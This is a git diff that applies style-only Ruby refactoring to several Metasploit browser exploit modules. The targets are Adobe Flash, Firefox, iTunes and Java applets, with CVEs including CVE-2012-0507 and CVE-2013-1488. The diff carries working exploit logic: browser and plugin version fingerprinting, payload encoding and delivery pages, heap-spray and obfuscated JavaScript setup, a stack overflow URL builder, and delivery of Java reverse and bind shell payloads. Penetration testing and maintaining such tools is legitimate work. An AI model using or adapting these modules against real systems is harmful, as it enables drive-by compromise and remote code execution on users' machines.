ARCH_X86, - :os_name => lambda do |os| + source: /script|headers/i, + arch: ARCH_X86, + os_name: lambda do |os| os =~ OperatingSystems::Match::LINUX || os =~ OperatingSystems::Match::WINDOWS_7 || os =~ OperatingSystems::Match::WINDOWS_81 end, - :ua_name => lambda do |ua| + ua_name: lambda do |ua| case target.name when 'Windows' return true if ua == Msf::HttpClients::IE || ua == Msf::HttpClients::FF @@ -61,7 +61,7 @@ class MetasploitModule < Msf::Exploit::Remote false end, - :flash => lambda do |ver| + flash: lambda do |ver| case target.name when 'Windows' return true if ver =~ /^16\./ && Rex::Version.new(ver) <= Rex::Version.new('16.0.0.305') @@ -119,7 +119,7 @@ class MetasploitModule < Msf::Exploit::Remote end def exploit_template(cli, target_info) - swf_random = "#{rand_text_alpha(4 + rand(3))}.swf" + swf_random = "#{rand_text_alpha(rand(4..6))}.swf" target_payload = get_payload(cli, target_info) b64_payload = Rex::Text.encode_base64(target_payload) os_name = target_info[:os_name] @@ -132,7 +132,7 @@ class MetasploitModule < Msf::Exploit::Remote trigger_hex_stream = @trigger.unpack('H*')[0] - html_template = %Q| + html_template = %( @@ -143,9 +143,9 @@ class MetasploitModule < Msf::Exploit::Remote - | + ) - return html_template, binding() + return html_template, binding end def create_swf diff --git a/modules/exploits/multi/browser/adobe_flash_opaque_background_uaf.rb b/modules/exploits/multi/browser/adobe_flash_opaque_background_uaf.rb index 1cb5e27a6b..9222e9418d 100644 --- a/modules/exploits/multi/browser/adobe_flash_opaque_background_uaf.rb +++ b/modules/exploits/multi/browser/adobe_flash_opaque_background_uaf.rb @@ -52,16 +52,16 @@ class MetasploitModule < Msf::Exploit::Remote }, 'Arch' => [ARCH_X86], 'BrowserRequirements' => { - :source => /script|headers/i, - :arch => ARCH_X86, - :os_name => lambda do |os| + source: /script|headers/i, + arch: ARCH_X86, + os_name: lambda do |os| os =~ OperatingSystems::Match::WINDOWS_XP || os =~ OperatingSystems::Match::WINDOWS_VISTA || os =~ OperatingSystems::Match::WINDOWS_7 || os =~ OperatingSystems::Match::WINDOWS_81 || os =~ OperatingSystems::Match::WINDOWS_10 end, - :ua_name => lambda do |ua| + ua_name: lambda do |ua| case target.name when 'Windows' return true if ua == Msf::HttpClients::IE || ua == Msf::HttpClients::FF @@ -69,7 +69,7 @@ class MetasploitModule < Msf::Exploit::Remote false end, - :flash => lambda do |ver| + flash: lambda do |ver| case target.name when 'Windows' return true if ver =~ /^18\./ && Rex::Version.new(ver) <= Rex::Version.new('18.0.0.203') @@ -118,12 +118,12 @@ class MetasploitModule < Msf::Exploit::Remote end def exploit_template(cli, target_info) - swf_random = "#{rand_text_alpha(4 + rand(3))}.swf" + swf_random = "#{rand_text_alpha(rand(4..6))}.swf" target_payload = get_payload(cli, target_info) b64_payload = Rex::Text.encode_base64(target_payload) platform_id = 'win' - html_template = %Q| + html_template = %( @@ -134,9 +134,9 @@ class MetasploitModule < Msf::Exploit::Remote - | + ) - return html_template, binding() + return html_template, binding end def create_swf diff --git a/modules/exploits/multi/browser/adobe_flash_pixel_bender_bof.rb b/modules/exploits/multi/browser/adobe_flash_pixel_bender_bof.rb index 3bdaf85462..5791d0d499 100644 --- a/modules/exploits/multi/browser/adobe_flash_pixel_bender_bof.rb +++ b/modules/exploits/multi/browser/adobe_flash_pixel_bender_bof.rb @@ -41,14 +41,14 @@ class MetasploitModule < Msf::Exploit::Remote }, 'Arch' => [ARCH_X86], 'BrowserRequirements' => { - :source => /script|headers/i, - :arch => ARCH_X86, - :os_name => lambda do |os| + source: /script|headers/i, + arch: ARCH_X86, + os_name: lambda do |os| os =~ OperatingSystems::Match::LINUX || os =~ OperatingSystems::Match::WINDOWS_7 || os =~ OperatingSystems::Match::WINDOWS_81 end, - :ua_name => lambda do |ua| + ua_name: lambda do |ua| case target.name when 'Windows' return true if ua == Msf::HttpClients::IE || ua == Msf::HttpClients::FF @@ -58,7 +58,7 @@ class MetasploitModule < Msf::Exploit::Remote false end, - :flash => lambda do |ver| + flash: lambda do |ver| case target.name when 'Windows' return true if ver =~ /^11\./ && Rex::Version.new(ver) <= Rex::Version.new('11.7.700.275') @@ -116,7 +116,7 @@ class MetasploitModule < Msf::Exploit::Remote end def exploit_template(cli, target_info) - swf_random = "#{rand_text_alpha(4 + rand(3))}.swf" + swf_random = "#{rand_text_alpha(rand(4..6))}.swf" target_payload = get_payload(cli, target_info) b64_payload = Rex::Text.encode_base64(target_payload) os_name = target_info[:os_name] @@ -127,7 +127,7 @@ class MetasploitModule < Msf::Exploit::Remote platform_id = 'linux' end - html_template = %Q| + html_template = %( @@ -138,9 +138,9 @@ class MetasploitModule < Msf::Exploit::Remote - | + ) - return html_template, binding() + return html_template, binding end def create_swf diff --git a/modules/exploits/multi/browser/adobe_flash_shader_drawing_fill.rb b/modules/exploits/multi/browser/adobe_flash_shader_drawing_fill.rb index 0f66622cd6..045afa41ca 100644 --- a/modules/exploits/multi/browser/adobe_flash_shader_drawing_fill.rb +++ b/modules/exploits/multi/browser/adobe_flash_shader_drawing_fill.rb @@ -40,14 +40,14 @@ class MetasploitModule < Msf::Exploit::Remote }, 'Arch' => [ARCH_X86], 'BrowserRequirements' => { - :source => /script|headers/i, - :arch => ARCH_X86, - :os_name => lambda do |os| + source: /script|headers/i, + arch: ARCH_X86, + os_name: lambda do |os| os =~ OperatingSystems::Match::LINUX || os =~ OperatingSystems::Match::WINDOWS_7 || os =~ OperatingSystems::Match::WINDOWS_81 end, - :ua_name => lambda do |ua| + ua_name: lambda do |ua| case target.name when 'Windows' return true if ua == Msf::HttpClients::IE || ua == Msf::HttpClients::FF @@ -57,7 +57,7 @@ class MetasploitModule < Msf::Exploit::Remote false end, - :flash => lambda do |ver| + flash: lambda do |ver| case target.name when 'Windows' return true if ver =~ /^17\./ && Rex::Version.new(ver) <= Rex::Version.new('17.0.0.188') @@ -114,7 +114,7 @@ class MetasploitModule < Msf::Exploit::Remote end def exploit_template(cli, target_info) - swf_random = "#{rand_text_alpha(4 + rand(3))}.swf" + swf_random = "#{rand_text_alpha(rand(4..6))}.swf" target_payload = get_payload(cli, target_info) b64_payload = Rex::Text.encode_base64(target_payload) os_name = target_info[:os_name] @@ -125,7 +125,7 @@ class MetasploitModule < Msf::Exploit::Remote platform_id = 'linux' end - html_template = %Q| + html_template = %( @@ -136,9 +136,9 @@ class MetasploitModule < Msf::Exploit::Remote - | + ) - return html_template, binding() + return html_template, binding end def create_swf diff --git a/modules/exploits/multi/browser/adobe_flash_shader_job_overflow.rb b/modules/exploits/multi/browser/adobe_flash_shader_job_overflow.rb index fdb92037cd..baa5f3684d 100644 --- a/modules/exploits/multi/browser/adobe_flash_shader_job_overflow.rb +++ b/modules/exploits/multi/browser/adobe_flash_shader_job_overflow.rb @@ -44,14 +44,14 @@ class MetasploitModule < Msf::Exploit::Remote }, 'Arch' => [ARCH_X86], 'BrowserRequirements' => { - :source => /script|headers/i, - :arch => ARCH_X86, - :os_name => lambda do |os| + source: /script|headers/i, + arch: ARCH_X86, + os_name: lambda do |os| os =~ OperatingSystems::Match::LINUX || os =~ OperatingSystems::Match::WINDOWS_7 || os =~ OperatingSystems::Match::WINDOWS_81 end, - :ua_name => lambda do |ua| + ua_name: lambda do |ua| case target.name when 'Windows' return true if ua == Msf::HttpClients::IE || ua == Msf::HttpClients::FF @@ -61,7 +61,7 @@ class MetasploitModule < Msf::Exploit::Remote false end, - :flash => lambda do |ver| + flash: lambda do |ver| case target.name when 'Windows' return true if ver =~ /^17\./ && Rex::Version.new(ver) <= Rex::Version.new('17.0.0.169') @@ -118,7 +118,7 @@ class MetasploitModule < Msf::Exploit::Remote end def exploit_template(cli, target_info) - swf_random = "#{rand_text_alpha(4 + rand(3))}.swf" + swf_random = "#{rand_text_alpha(rand(4..6))}.swf" target_payload = get_payload(cli, target_info) b64_payload = Rex::Text.encode_base64(target_payload) os_name = target_info[:os_name] @@ -129,7 +129,7 @@ class MetasploitModule < Msf::Exploit::Remote platform_id = 'linux' end - html_template = %Q| + html_template = %( @@ -140,9 +140,9 @@ class MetasploitModule < Msf::Exploit::Remote - | + ) - return html_template, binding() + return html_template, binding end def create_swf diff --git a/modules/exploits/multi/browser/adobe_flash_uncompress_zlib_uaf.rb b/modules/exploits/multi/browser/adobe_flash_uncompress_zlib_uaf.rb index 57b32469d8..a1ffbef70e 100644 --- a/modules/exploits/multi/browser/adobe_flash_uncompress_zlib_uaf.rb +++ b/modules/exploits/multi/browser/adobe_flash_uncompress_zlib_uaf.rb @@ -40,14 +40,14 @@ class MetasploitModule < Msf::Exploit::Remote }, 'Arch' => [ARCH_X86], 'BrowserRequirements' => { - :source => /script|headers/i, - :arch => ARCH_X86, - :os_name => lambda do |os| + source: /script|headers/i, + arch: ARCH_X86, + os_name: lambda do |os| os =~ OperatingSystems::Match::LINUX || os =~ OperatingSystems::Match::WINDOWS_7 || os =~ OperatingSystems::Match::WINDOWS_81 end, - :ua_name => lambda do |ua| + ua_name: lambda do |ua| case target.name when 'Windows' return true if [Msf::HttpClients::IE, Msf::HttpClients::FF].include?(ua) @@ -57,7 +57,7 @@ class MetasploitModule < Msf::Exploit::Remote false end, - :flash => lambda do |ver| + flash: lambda do |ver| case target.name when 'Windows' return true if ver =~ /^16\./ && Rex::Version.new(ver) <= Rex::Version.new('16.0.0.287') @@ -114,7 +114,7 @@ class MetasploitModule < Msf::Exploit::Remote end def exploit_template(cli, target_info) - swf_random = "#{rand_text_alpha(4 + rand(3))}.swf" + swf_random = "#{rand_text_alpha(rand(4..6))}.swf" target_payload = get_payload(cli, target_info) b64_payload = Rex::Text.encode_base64(target_payload) os_name = target_info[:os_name] @@ -125,7 +125,7 @@ class MetasploitModule < Msf::Exploit::Remote platform_id = 'linux' end - html_template = %Q| + html_template = %( @@ -136,9 +136,9 @@ class MetasploitModule < Msf::Exploit::Remote - | + ) - return html_template, binding() + return html_template, binding end def create_swf diff --git a/modules/exploits/multi/browser/firefox_escape_retval.rb b/modules/exploits/multi/browser/firefox_escape_retval.rb index 3d9ea7cbbb..bd87d9552a 100644 --- a/modules/exploits/multi/browser/firefox_escape_retval.rb +++ b/modules/exploits/multi/browser/firefox_escape_retval.rb @@ -48,7 +48,7 @@ class MetasploitModule < Msf::Exploit::Remote ], 'Payload' => { 'Space' => 1000 + (rand(256).to_i * 4), - 'BadChars' => "\x00", + 'BadChars' => "\x00" }, 'Targets' => [ [ @@ -58,7 +58,7 @@ class MetasploitModule < Msf::Exploit::Remote 'Arch' => ARCH_X86, 'Ret' => 0x0c0c0c0c, 'BlockLen' => 0x60000, - 'Containers' => 800, + 'Containers' => 800 } ], [ @@ -83,18 +83,18 @@ class MetasploitModule < Msf::Exploit::Remote ) end - def on_request_uri(cli, request) + def on_request_uri(cli, _request) # Re-generate the payload - return if ((p = regenerate_payload(cli)) == nil) + return if ((p = regenerate_payload(cli)).nil?) - print_status("Sending #{self.name}") + print_status("Sending #{name}") send_response_html(cli, generate_html(p), { 'Content-Type' => 'text/html; charset=utf-8' }) handler(cli) end def generate_html(payload) enc_code = Rex::Text.to_unescape(payload.encoded, Rex::Arch.endian(target.arch)) - enc_nops = Rex::Text.to_unescape(make_nops(4), Rex::Arch.endian(target.arch)) + Rex::Text.to_unescape(make_nops(4), Rex::Arch.endian(target.arch)) enc_ret = Rex::Text.to_unescape( Rex::Arch.endian(target.arch) == ENDIAN_LITTLE ? [target.ret].pack('V') : [target.ret].pack('N') ) @@ -185,19 +185,19 @@ class MetasploitModule < Msf::Exploit::Remote # Obfuscate it up a bit js = obfuscate_js(js, 'Symbols' => { - 'Variables' => %W{ + 'Variables' => %w[ DataTranslator GenerateHTML escapeData xunescape shellcode oneblock fullblock sprayContainer xi searchArray xc escData xhtml pTags oTags newElement sprayready sprayContainerIndex fill_function - } + ] }).to_s str1 = Rex::Text.rand_text_alpha(20) str2 = Rex::Text.rand_text_alpha(24) - str3 = Rex::Text.rand_text_alpha(10) + " " + str3 = Rex::Text.rand_text_alpha(10) + ' ' - return %Q^ + return %(
@@ -219,6 +219,6 @@ class MetasploitModule < Msf::Exploit::Remote -^ +) end end diff --git a/modules/exploits/multi/browser/firefox_queryinterface.rb b/modules/exploits/multi/browser/firefox_queryinterface.rb index 38141bac18..b493b3f03e 100644 --- a/modules/exploits/multi/browser/firefox_queryinterface.rb +++ b/modules/exploits/multi/browser/firefox_queryinterface.rb @@ -32,7 +32,7 @@ class MetasploitModule < Msf::Exploit::Remote ], 'Payload' => { 'Space' => 1000 + (rand(256).to_i * 4), - 'BadChars' => "\x00", + 'BadChars' => "\x00" }, 'Targets' => [ [ @@ -47,7 +47,7 @@ class MetasploitModule < Msf::Exploit::Remote 'Firefox 1.5.0.0 Linux', { 'Platform' => 'linux', - 'Arch' => ARCH_X86, + 'Arch' => ARCH_X86 } ], ], @@ -61,11 +61,11 @@ class MetasploitModule < Msf::Exploit::Remote ) end - def on_request_uri(cli, request) + def on_request_uri(cli, _request) # Re-generate the payload - return if ((p = regenerate_payload(cli)) == nil) + return if ((p = regenerate_payload(cli)).nil?) - print_status("Sending #{self.name}") + print_status("Sending #{name}") send_response_html(cli, generate_html(p), { 'Content-Type' => 'text/html' }) handler(cli) end diff --git a/modules/exploits/multi/browser/itms_overflow.rb b/modules/exploits/multi/browser/itms_overflow.rb index 5f4f823b6d..35c9cb13b9 100644 --- a/modules/exploits/multi/browser/itms_overflow.rb +++ b/modules/exploits/multi/browser/itms_overflow.rb @@ -49,8 +49,8 @@ class MetasploitModule < Msf::Exploit::Remote 'EncoderOptions' => { 'BufferRegister' => 'ECX', # See the comments below - 'BufferOffset' => 3, # See the comments below - }, + 'BufferOffset' => 3 # See the comments below + } }, 'Targets' => [ [ @@ -79,7 +79,7 @@ class MetasploitModule < Msf::Exploit::Remote # itms:// or itmss:// can be used. The trailing colon is used # to start the attack. All data after the colon is copied to the # stack buffer. - itms_base_url = "itms://:" + itms_base_url = 'itms://:' itms_base_url << rand_text_alpha(268) # Fill up the real buffer itms_base_url << rand_text_alpha(16) # $ebx, $esi, $edi, $ebp itms_base_url << target['Addr'] # hullo there, jmp *%ecx! @@ -90,7 +90,7 @@ class MetasploitModule < Msf::Exploit::Remote # case, it will point to the beginning. The ! is there to make the # alphanumeric shellcode execute easily. (This is why we need an offset # of 3 in the payload). - itms_base_url << "/:!?" # Truncate the stack buffer overflow and prep for payload + itms_base_url << '/:!?' # Truncate the stack buffer overflow and prep for payload itms_base_url << p # Wooooooo! Payload time. # We drop on a few extra bytes as the last few bytes can sometimes be # corrupted. @@ -116,17 +116,17 @@ class MetasploitModule < Msf::Exploit::Remote EOS end - def on_request_uri(cli, request) - print_status("Generating payload...") - return unless (p = regenerate_payload(cli)) + def on_request_uri(cli, _request) + print_status('Generating payload...') + return unless (regenerate_payload(cli)) # print_status("=> #{payload.encoded}") print_status("=> #{payload.encoded.length} bytes") - print_status("Generating HTML container...") + print_status('Generating HTML container...') page = generate_itms_page(payload.encoded) # print_status("=> #{page}") - print_status("Sending itms page") + print_status('Sending itms page') header = { 'Content-Type' => 'text/html' } send_response_html(cli, page, header) diff --git a/modules/exploits/multi/browser/java_atomicreferencearray.rb b/modules/exploits/multi/browser/java_atomicreferencearray.rb index 5e29e44dcb..4fc3fdbd98 100644 --- a/modules/exploits/multi/browser/java_atomicreferencearray.rb +++ b/modules/exploits/multi/browser/java_atomicreferencearray.rb @@ -10,7 +10,7 @@ class MetasploitModule < Msf::Exploit::Remote include Msf::Exploit::EXE include Msf::Exploit::Remote::BrowserAutopwn - autopwn_info({ :javascript => false }) + autopwn_info({ javascript: false }) def initialize(info = {}) super( @@ -47,35 +47,35 @@ class MetasploitModule < Msf::Exploit::Remote 'Generic (Java Payload)', { 'Platform' => ['java'], - 'Arch' => ARCH_JAVA, + 'Arch' => ARCH_JAVA } ], [ 'Windows x86 (Native Payload)', { 'Platform' => 'win', - 'Arch' => ARCH_X86, + 'Arch' => ARCH_X86 } ], [ 'Mac OS X PPC (Native Payload)', { 'Platform' => 'osx', - 'Arch' => ARCH_PPC, + 'Arch' => ARCH_PPC } ], [ 'Mac OS X x86 (Native Payload)', { 'Platform' => 'osx', - 'Arch' => ARCH_X86, + 'Arch' => ARCH_X86 } ], [ 'Linux x86 (Native Payload)', { 'Platform' => 'linux', - 'Arch' => ARCH_X86, + 'Arch' => ARCH_X86 } ], ], @@ -92,8 +92,8 @@ class MetasploitModule < Msf::Exploit::Remote def exploit # load the static jar file - path = File.join(Msf::Config.data_directory, "exploits", "CVE-2012-0507.jar") - fd = File.open(path, "rb") + path = File.join(Msf::Config.data_directory, 'exploits', 'CVE-2012-0507.jar') + fd = File.open(path, 'rb') @jar_data = fd.read(fd.stat.size) fd.close @@ -101,21 +101,21 @@ class MetasploitModule < Msf::Exploit::Remote end def on_request_uri(cli, request) - data = "" - host = "" - port = "" + data = '' + host = '' + port = '' - if not request.uri.match(/\.jar$/i) - if not request.uri.match(/\/$/) - send_redirect(cli, get_resource() + '/', '') + if !request.uri.match(/\.jar$/i) + if !request.uri.match(%r{/$}) + send_redirect(cli, get_resource + '/', '') return end - print_status("Sending #{self.name}") + print_status("Sending #{name}") payload = regenerate_payload(cli) - if not payload - print_error("Failed to generate the payload.") + if !payload + print_error('Failed to generate the payload.') return end @@ -124,17 +124,17 @@ class MetasploitModule < Msf::Exploit::Remote jar = payload.encoded host = datastore['LHOST'] port = datastore['LPORT'] - vprint_status("Sending java reverse shell") + vprint_status('Sending java reverse shell') else port = datastore['LPORT'] host = cli.peerhost - vprint_status("Java bind shell") + vprint_status('Java bind shell') end if jar print_status("Generated jar to drop (#{jar.length} bytes).") - jar = Rex::Text.to_hex(jar, prefix = "") + jar = Rex::Text.to_hex(jar, '') else - print_error("Failed to generate the executable.") + print_error('Failed to generate the executable.') return end else @@ -143,7 +143,7 @@ class MetasploitModule < Msf::Exploit::Remote data = generate_payload_exe print_status("Generated executable to drop (#{data.length} bytes).") - data = Rex::Text.to_hex(data, prefix = "") + data = Rex::Text.to_hex(data, '') end @@ -151,27 +151,27 @@ class MetasploitModule < Msf::Exploit::Remote return end - print_status("Sending jar") - send_response(cli, generate_jar(), { 'Content-Type' => "application/octet-stream" }) + print_status('Sending jar') + send_response(cli, generate_jar, { 'Content-Type' => 'application/octet-stream' }) handler(cli) end def generate_html(data, jar, host, port) - jar_name = rand_text_alpha(rand(6) + 3) + ".jar" + jar_name = rand_text_alpha(rand(3..8)) + '.jar' - html = "" - html += "" + html = '' + html += '' html += "" html += "" if data html += "" if jar html += "" if host html += "" if port - html += "" + html += '' return html end - def generate_jar() + def generate_jar return @jar_data end end diff --git a/modules/exploits/multi/browser/java_getsoundbank_bof.rb b/modules/exploits/multi/browser/java_getsoundbank_bof.rb index 67ce825029..a2bc30c22e 100644 --- a/modules/exploits/multi/browser/java_getsoundbank_bof.rb +++ b/modules/exploits/multi/browser/java_getsoundbank_bof.rb @@ -43,7 +43,7 @@ class MetasploitModule < Msf::Exploit::Remote 'Payload' => { 'Space' => 1024, 'BadChars' => '', - 'DisableNops' => true, + 'DisableNops' => true }, 'Targets' => [ =begin @@ -68,14 +68,14 @@ No automatic targetting for now ... 'J2SE 1.6_16 on Mac OS X PPC', { 'Platform' => 'osx', - 'Arch' => ARCH_PPC, + 'Arch' => ARCH_PPC } ], [ 'J2SE 1.6_16 on Mac OS X x86', { 'Platform' => 'osx', - 'Arch' => ARCH_X86, + 'Arch' => ARCH_X86 } ], ], @@ -92,8 +92,8 @@ No automatic targetting for now ... def exploit # load the static jar - path = File.join(Msf::Config.data_directory, "exploits", "CVE-2009-3867.jar") - fd = File.open(path, "rb") + path = File.join(Msf::Config.data_directory, 'exploits', 'CVE-2009-3867.jar') + fd = File.open(path, 'rb') @jar_data = fd.read(fd.stat.size) fd.close @@ -109,14 +109,14 @@ No automatic targetting for now ... if (target.name =~ /Automatic/) case req.headers['User-Agent'] when /Windows/i - print_status("Choosing a Windows target") - @targetcache[cli.peerhost][:target] = self.targets[1] + print_status('Choosing a Windows target') + @targetcache[cli.peerhost][:target] = targets[1] when /PPC Mac OS X/i - print_status("Choosing a Mac OS X PPC target") - @targetcache[cli.peerhost][:target] = self.targets[2] + print_status('Choosing a Mac OS X PPC target') + @targetcache[cli.peerhost][:target] = targets[2] when /Intel Mac OS X/i - print_status("Choosing a Mac OS X x86 target") - @targetcache[cli.peerhost][:target] = self.targets[3] + print_status('Choosing a Mac OS X x86 target') + @targetcache[cli.peerhost][:target] = targets[3] else print_status("Unknown target for: #{req.headers['User-Agent']}") end @@ -133,17 +133,17 @@ No automatic targetting for now ... rmq.each { |addr| @targetcache.delete(addr) } # Request processing - if (not req.uri.match(/\.jar$/i)) + if (!req.uri.match(/\.jar$/i)) # Redirect to the base directory so the applet code loads... - if (not req.uri.match(/\/$/)) - print_status("Sending redirect so path ends with / ...") - send_redirect(cli, get_resource() + '/', '') + if (!req.uri.match(%r{/$})) + print_status('Sending redirect so path ends with / ...') + send_redirect(cli, get_resource + '/', '') return end # Display the applet loading HTML - print_status("Sending HTML") + print_status('Sending HTML') send_response_html(cli, generate_html(payload.encoded), { 'Content-Type' => 'text/html', @@ -153,7 +153,7 @@ No automatic targetting for now ... end # Send the actual applet over - print_status("Sending applet") + print_status('Sending applet') send_response(cli, generate_applet(cli, req), { 'Content-Type' => 'application/octet-stream', @@ -185,7 +185,7 @@ No automatic targetting for now ... # add payload debug_payload = false - pload = "" + pload = '' pload << "\xcc" if debug_payload pload << pl if ((pload.length % 4) > 0) @@ -204,16 +204,15 @@ No automatic targetting for now ... return html end - def generate_applet(cli, req) - this_target = nil + def generate_applet(cli, _req) if (target.name =~ /Automatic/) if (@targetcache[cli.peerhost][:target]) - this_target = @targetcache[cli.peerhost][:target] + @targetcache[cli.peerhost][:target] else return '' end else - this_target = target + target end return @jar_data diff --git a/modules/exploits/multi/browser/java_jre17_driver_manager.rb b/modules/exploits/multi/browser/java_jre17_driver_manager.rb index d3224f5fe1..c1151a7647 100644 --- a/modules/exploits/multi/browser/java_jre17_driver_manager.rb +++ b/modules/exploits/multi/browser/java_jre17_driver_manager.rb @@ -44,28 +44,28 @@ class MetasploitModule < Msf::Exploit::Remote 'Generic (Java Payload)', { 'Platform' => ['java'], - 'Arch' => ARCH_JAVA, + 'Arch' => ARCH_JAVA } ], [ 'Windows x86 (Native Payload)', { 'Platform' => 'win', - 'Arch' => ARCH_X86, + 'Arch' => ARCH_X86 } ], [ 'Mac OS X x86 (Native Payload)', { 'Platform' => 'osx', - 'Arch' => ARCH_X86, + 'Arch' => ARCH_X86 } ], [ 'Linux x86 (Native Payload)', { 'Platform' => 'linux', - 'Arch' => ARCH_X86, + 'Arch' => ARCH_X86 } ], ], @@ -81,19 +81,19 @@ class MetasploitModule < Msf::Exploit::Remote end def setup - path = File.join(Msf::Config.data_directory, "exploits", "cve-2013-1488", "Exploit.class") - @exploit_class = File.open(path, "rb") { |fd| fd.read(fd.stat.size) } - path = File.join(Msf::Config.data_directory, "exploits", "cve-2013-1488", "FakeDriver.class") - @driver_class = File.open(path, "rb") { |fd| fd.read(fd.stat.size) } - path = File.join(Msf::Config.data_directory, "exploits", "cve-2013-1488", "FakeDriver2.class") - @driver2_class = File.open(path, "rb") { |fd| fd.read(fd.stat.size) } - path = File.join(Msf::Config.data_directory, "exploits", "cve-2013-1488", "META-INF", "services", "java.lang.Object") - @object_services = File.open(path, "rb") { |fd| fd.read(fd.stat.size) } - path = File.join(Msf::Config.data_directory, "exploits", "cve-2013-1488", "META-INF", "services", "java.sql.Driver") - @driver_services = File.open(path, "rb") { |fd| fd.read(fd.stat.size) } + path = File.join(Msf::Config.data_directory, 'exploits', 'cve-2013-1488', 'Exploit.class') + @exploit_class = File.open(path, 'rb') { |fd| fd.read(fd.stat.size) } + path = File.join(Msf::Config.data_directory, 'exploits', 'cve-2013-1488', 'FakeDriver.class') + @driver_class = File.open(path, 'rb') { |fd| fd.read(fd.stat.size) } + path = File.join(Msf::Config.data_directory, 'exploits', 'cve-2013-1488', 'FakeDriver2.class') + @driver2_class = File.open(path, 'rb') { |fd| fd.read(fd.stat.size) } + path = File.join(Msf::Config.data_directory, 'exploits', 'cve-2013-1488', 'META-INF', 'services', 'java.lang.Object') + @object_services = File.open(path, 'rb') { |fd| fd.read(fd.stat.size) } + path = File.join(Msf::Config.data_directory, 'exploits', 'cve-2013-1488', 'META-INF', 'services', 'java.sql.Driver') + @driver_services = File.open(path, 'rb') { |fd| fd.read(fd.stat.size) } - @exploit_class_name = rand_text_alpha("Exploit".length) - @exploit_class.gsub!("Exploit", @exploit_class_name) + @exploit_class_name = rand_text_alpha('Exploit'.length) + @exploit_class.gsub!('Exploit', @exploit_class_name) @jnlp_name = rand_text_alpha(8) @@ -103,7 +103,7 @@ class MetasploitModule < Msf::Exploit::Remote def jnlp_file jnlp_uri = "#{get_uri}/#{@jnlp_name}.jnlp" - jnlp = %Q| + jnlp = %( @@ -122,7 +122,7 @@ class MetasploitModule < Msf::Exploit::Remote - | + ) return jnlp end @@ -131,35 +131,35 @@ class MetasploitModule < Msf::Exploit::Remote case request.uri when /\.jnlp$/i - send_response(cli, jnlp_file, { 'Content-Type' => "application/x-java-jnlp-file" }) + send_response(cli, jnlp_file, { 'Content-Type' => 'application/x-java-jnlp-file' }) when /\.jar$/i jar = payload.encoded_jar jar.add_file("#{@exploit_class_name}.class", @exploit_class) - jar.add_file("FakeDriver.class", @driver_class) - jar.add_file("FakeDriver2.class", @driver2_class) - jar.add_file("META-INF/services/java.lang.Object", @object_services) - jar.add_file("META-INF/services/java.sql.Driver", @driver_services) - metasploit_str = rand_text_alpha("metasploit".length) - payload_str = rand_text_alpha("payload".length) - jar.entries.each { |entry| - entry.name.gsub!("metasploit", metasploit_str) - entry.name.gsub!("Payload", payload_str) - entry.data = entry.data.gsub("metasploit", metasploit_str) - entry.data = entry.data.gsub("Payload", payload_str) - } + jar.add_file('FakeDriver.class', @driver_class) + jar.add_file('FakeDriver2.class', @driver2_class) + jar.add_file('META-INF/services/java.lang.Object', @object_services) + jar.add_file('META-INF/services/java.sql.Driver', @driver_services) + metasploit_str = rand_text_alpha('metasploit'.length) + payload_str = rand_text_alpha('payload'.length) + jar.entries.each do |entry| + entry.name.gsub!('metasploit', metasploit_str) + entry.name.gsub!('Payload', payload_str) + entry.data = entry.data.gsub('metasploit', metasploit_str) + entry.data = entry.data.gsub('Payload', payload_str) + end jar.build_manifest - send_response(cli, jar, { 'Content-Type' => "application/octet-stream" }) - when /\/$/ + send_response(cli, jar, { 'Content-Type' => 'application/octet-stream' }) + when %r{/$} payload = regenerate_payload(cli) - if not payload - print_error("Failed to generate the payload.") + if !payload + print_error('Failed to generate the payload.') send_not_found(cli) return end send_response_html(cli, generate_html, { 'Content-Type' => 'text/html' }) else - send_redirect(cli, get_resource() + '/', '') + send_redirect(cli, get_resource + '/', '') end end @@ -168,7 +168,7 @@ class MetasploitModule < Msf::Exploit::Remote # When the browser is IE, the ActvX is used in order to load the malicious JNLP, allowing click2play bypass # Else an tag is used to load the malicious applet, this time there isn't click2play bypass - html = %Q| + html = %( @@ -178,7 +178,7 @@ class MetasploitModule < Msf::Exploit::Remote - | + ) return html end end diff --git a/modules/exploits/multi/browser/java_jre17_exec.rb b/modules/exploits/multi/browser/java_jre17_exec.rb index 153824a138..1d6932cb27 100644 --- a/modules/exploits/multi/browser/java_jre17_exec.rb +++ b/modules/exploits/multi/browser/java_jre17_exec.rb @@ -86,20 +86,20 @@ class MetasploitModule < Msf::Exploit::Remote end def on_request_uri(cli, request) - if not request.uri.match(/\.jar$/i) - if not request.uri.match(/\/$/) - send_redirect(cli, get_resource() + '/', '') + if !request.uri.match(/\.jar$/i) + if !request.uri.match(%r{/$}) + send_redirect(cli, get_resource + '/', '') return end - print_status("#{self.name} handling request") + print_status("#{name} handling request") send_response_html(cli, generate_html, { 'Content-Type' => 'text/html' }) return end paths = [ - [ "Exploit.class" ] + [ 'Exploit.class' ] ] p = regenerate_payload(cli) @@ -107,28 +107,28 @@ class MetasploitModule < Msf::Exploit::Remote jar = p.encoded_jar paths.each do |path| 1.upto(path.length - 1) do |idx| - full = path[0, idx].join("/") + "/" + full = path[0, idx].join('/') + '/' if !(jar.entries.map { |e| e.name }.include?(full)) jar.add_file(full, '') end end - fd = File.open(File.join(Msf::Config.data_directory, "exploits", "CVE-2012-4681", path), "rb") + fd = File.open(File.join(Msf::Config.data_directory, 'exploits', 'CVE-2012-4681', path), 'rb') data = fd.read(fd.stat.size) - jar.add_file(path.join("/"), data) + jar.add_file(path.join('/'), data) fd.close end - print_status("Sending Applet.jar") - send_response(cli, jar.pack, { 'Content-Type' => "application/octet-stream" }) + print_status('Sending Applet.jar') + send_response(cli, jar.pack, { 'Content-Type' => 'application/octet-stream' }) handler(cli) end def generate_html - html = "" - html += "" - html += "" - html += "" + html = '' + html += '' + html += '' + html += '' return html end end diff --git a/modules/exploits/multi/browser/java_jre17_glassfish_averagerangestatisticimpl.rb b/modules/exploits/multi/browser/java_jre17_glassfish_averagerangestatisticimpl.rb index f8800f311d..adf0e9bf31 100644 --- a/modules/exploits/multi/browser/java_jre17_glassfish_averagerangestatisticimpl.rb +++ b/modules/exploits/multi/browser/java_jre17_glassfish_averagerangestatisticimpl.rb @@ -42,28 +42,28 @@ class MetasploitModule < Msf::Exploit::Remote 'Generic (Java Payload)', { 'Platform' => ['java'], - 'Arch' => ARCH_JAVA, + 'Arch' => ARCH_JAVA } ], [ 'Windows x86 (Native Payload)', { 'Platform' => 'win', - 'Arch' => ARCH_X86, + 'Arch' => ARCH_X86 } ], [ 'Mac OS X x86 (Native Payload)', { 'Platform' => 'osx', - 'Arch' => ARCH_X86, + 'Arch' => ARCH_X86 } 